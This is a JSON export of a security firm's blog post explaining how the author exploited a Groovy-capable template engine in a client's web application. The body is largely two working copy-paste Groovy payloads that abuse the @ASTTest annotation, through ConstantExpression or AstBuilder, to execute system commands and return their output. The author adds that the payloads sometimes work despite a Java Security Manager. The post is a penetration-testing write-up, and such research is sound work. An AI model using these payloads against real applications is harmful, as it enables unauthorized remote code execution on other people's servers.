{"id":5100,"date":"2025-11-11T08:23:44","date_gmt":"2025-11-11T08:23:44","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=5100"},"modified":"2025-11-11T08:23:44","modified_gmt":"2025-11-11T08:23:44","slug":"groovy-template-engine-exploitation-part-2","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/","title":{"rendered":"Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2"},"content":{"rendered":"<p>In the first days of this 2025, I came across a new <strong>Groovy-capable templating engine<\/strong> in a client&#8217;s web application. Since I was already experienced with this kind of <del datetime=\"2025-01-24T14:49:26+00:00\">RCE as a<\/del> feature, <strong>bypassing input validation<\/strong> was pretty straightforward (check my <a href=\"https:\/\/hnsecurity.it\/groovy-template-engine-exploitation-notes-from-a-real-case-scenario\/\">first article<\/a> on this if you missed it).<\/p>\n<p>However, the last time I exploited this I had to collect the output of my commands <strong>using DNS as a side channel<\/strong> (ugly experience, if you ask me). This time, I decided to spend more time digging into the madness of the <em>&#8220;@<span class=\"enlighter-text\">groovy.<\/span><span class=\"enlighter-m3\">transform<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">ASTTest<\/span>&#8220;<\/em> annotation to <strong>craft a payload where the output would be returned directly in the Groovy script&#8217;s standard output<\/strong>.<\/p>\n<p>After some hours of swearing with a couple of colleagues (not to mention AI&#8217;s assistance), we got the job done! <img decoding=\"async\" draggable=\"false\" src=\"https:\/\/statics.teams.cdn.office.net\/evergreen-assets\/personal-expressions\/v2\/assets\/emoticons\/champagne\/default\/20_f.png?v=v20\" alt=\"Champagne\" width=\"20px\" height=\"20px\" aria-label=\"Champagne\" \/><img decoding=\"async\" draggable=\"false\" src=\"https:\/\/statics.teams.cdn.office.net\/evergreen-assets\/personal-expressions\/v2\/assets\/emoticons\/champagne\/default\/20_f.png?v=v20\" alt=\"Champagne\" width=\"20px\" height=\"20px\" aria-label=\"Champagne\" \/><img decoding=\"async\" draggable=\"false\" src=\"https:\/\/statics.teams.cdn.office.net\/evergreen-assets\/personal-expressions\/v2\/assets\/emoticons\/champagne\/default\/20_f.png?v=v20\" alt=\"Champagne\" width=\"20px\" height=\"20px\" aria-label=\"Champagne\" \/><\/p>\n<p>So here&#8217;s the <strong>no-brainer-copy-paste payload<\/strong> that we all crave:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"groovy\" data-enlighter-theme=\"enlighter\">import groovy.transform.* \r\nimport org.codehaus.groovy.ast.* \r\nimport org.codehaus.groovy.ast.expr.* \r\nimport org.codehaus.groovy.ast.stmt.* \r\nimport org.codehaus.groovy.control.CompilePhase\r\n\r\n@groovy.transform.ASTTest(phase = SEMANTIC_ANALYSIS, value={\r\n\r\ncmd = 'ls'\r\nString out = cmd.execute().text\r\nnode.rightExpression = new ConstantExpression(out)    \r\n})\r\ndef x = 42 \r\n\r\nreturn x<\/pre>\n<p>The &#8220;trick&#8221; that allowed us to execute commands is the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">new ConstantExpression()<\/code> that basically replaces &#8220;42&#8221; with the result of our command before the actual execution of the script code (since <em>&#8220;@<span class=\"enlighter-text\">groovy.<\/span><span class=\"enlighter-m3\">transform<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">ASTTest<\/span>&#8220;<\/em>\u00a0is executed during the <a href=\"https:\/\/docs.groovy-lang.org\/latest\/html\/api\/org\/codehaus\/groovy\/control\/Phases.html#SEMANTIC_ANALYSIS\"><em>SEMANTIC_ANALYSIS<\/em><\/a> of the script).<\/p>\n<p>Another <strong>variant to achieve the same goal<\/strong> is the following, where we replace the code of a method with another using <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">AstBuilder().buildFromString()<\/code>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"groovy\">import groovy.transform.ASTTest\r\nimport org.codehaus.groovy.ast.builder.AstBuilder\r\nimport org.codehaus.groovy.control.CompilePhase\r\n\r\n@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {\r\n    \r\n    def newBlock = new AstBuilder().buildFromString(CompilePhase.SEMANTIC_ANALYSIS, false, '''\r\n         cmd = 'ls'\r\n         String out = cmd.execute().text\r\n         return out\r\n    ''')\r\n    \r\n    node.code = newBlock[0]\r\n})\r\ndef runCommand() {\r\n    return \"42\"\r\n}\r\n\r\nprintln runCommand()\r\n<\/pre>\n<p>These techniques are particularly interesting since <em>sometimes<\/em> they allow the <strong>execution of system commands even with a configured Java Security Manager<\/strong>.<\/p>\n<p>If you are interested in digging deeper into this topic, here&#8217;s a bunch of useful resources for you:<\/p>\n<ul>\n<li><a href=\"https:\/\/groovy-lang.org\/metaprogramming.html\">Official Groovy metaprogramming documentation<\/a> (10% understandable by me)<\/li>\n<li><a href=\"https:\/\/gwc-experiment.appspot.com\">Groovy online playground with GitHub repo<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/groovy-template-engine-exploitation-notes-from-a-real-case-scenario\/\">My first article on this topic<\/a><\/li>\n<\/ul>\n<p>Enjoy!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the first days of this 2025, I came across a new Groovy-capable templating engine in a client&#8217;s web application. [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":159919,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[78,91],"tags":[105,115,125,126,127,128,129,130],"class_list":["post-5100","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","category-articles","tag-java","tag-web","tag-el","tag-el-injection","tag-groovy","tag-rce","tag-security-manager","tag-template-injection"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security - Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2 -<\/title>\n<meta name=\"description\" content=\"New practical tricks for Groovy template engine exploitation in a real-world scenario.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2 -\" \/>\n<meta property=\"og:description\" content=\"New practical tricks for Groovy template engine exploitation in a real-world scenario.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-11T08:23:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Gianluca Baldi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Gianluca Baldi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/\"},\"author\":{\"name\":\"Gianluca Baldi\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/251b6740cfa820dd94ab485c48adb8f5\"},\"headline\":\"Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2\",\"datePublished\":\"2025-11-11T08:23:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/\"},\"wordCount\":276,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GROOVY.jpg\",\"keywords\":[\"Java\",\"web\",\"EL\",\"EL Injection\",\"groovy\",\"RCE\",\"Security Manager\",\"Template Injection\"],\"articleSection\":[\"Exploits\",\"Articles\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/\",\"name\":\"HN Security - Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2 -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GROOVY.jpg\",\"datePublished\":\"2025-11-11T08:23:44+00:00\",\"description\":\"New practical tricks for Groovy template engine exploitation in a real-world scenario.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GROOVY.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GROOVY.jpg\",\"width\":1600,\"height\":836,\"caption\":\"Groovy logo\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/groovy-template-engine-exploitation-part-2\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/251b6740cfa820dd94ab485c48adb8f5\",\"name\":\"Gianluca Baldi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g\",\"caption\":\"Gianluca Baldi\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/gianluca-baldi\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2 -","description":"New practical tricks for Groovy template engine exploitation in a real-world scenario.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2 -","og_description":"New practical tricks for Groovy template engine exploitation in a real-world scenario.","og_url":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/","og_site_name":"HN Security","article_published_time":"2025-11-11T08:23:44+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg","type":"image\/jpeg"}],"author":"Gianluca Baldi","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Gianluca Baldi","Tempo di lettura stimato":"2 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/"},"author":{"name":"Gianluca Baldi","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/251b6740cfa820dd94ab485c48adb8f5"},"headline":"Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2","datePublished":"2025-11-11T08:23:44+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/"},"wordCount":276,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg","keywords":["Java","web","EL","EL Injection","groovy","RCE","Security Manager","Template Injection"],"articleSection":["Exploits","Articles"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/","url":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/","name":"HN Security - Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2 -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg","datePublished":"2025-11-11T08:23:44+00:00","description":"New practical tricks for Groovy template engine exploitation in a real-world scenario.","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg","width":1600,"height":836,"caption":"Groovy logo"},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/251b6740cfa820dd94ab485c48adb8f5","name":"Gianluca Baldi","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g","caption":"Gianluca Baldi"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/gianluca-baldi\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GROOVY.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/5100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=5100"}],"version-history":[{"count":4,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/5100\/revisions"}],"predecessor-version":[{"id":161162,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/5100\/revisions\/161162"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159919"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=5100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=5100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=5100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}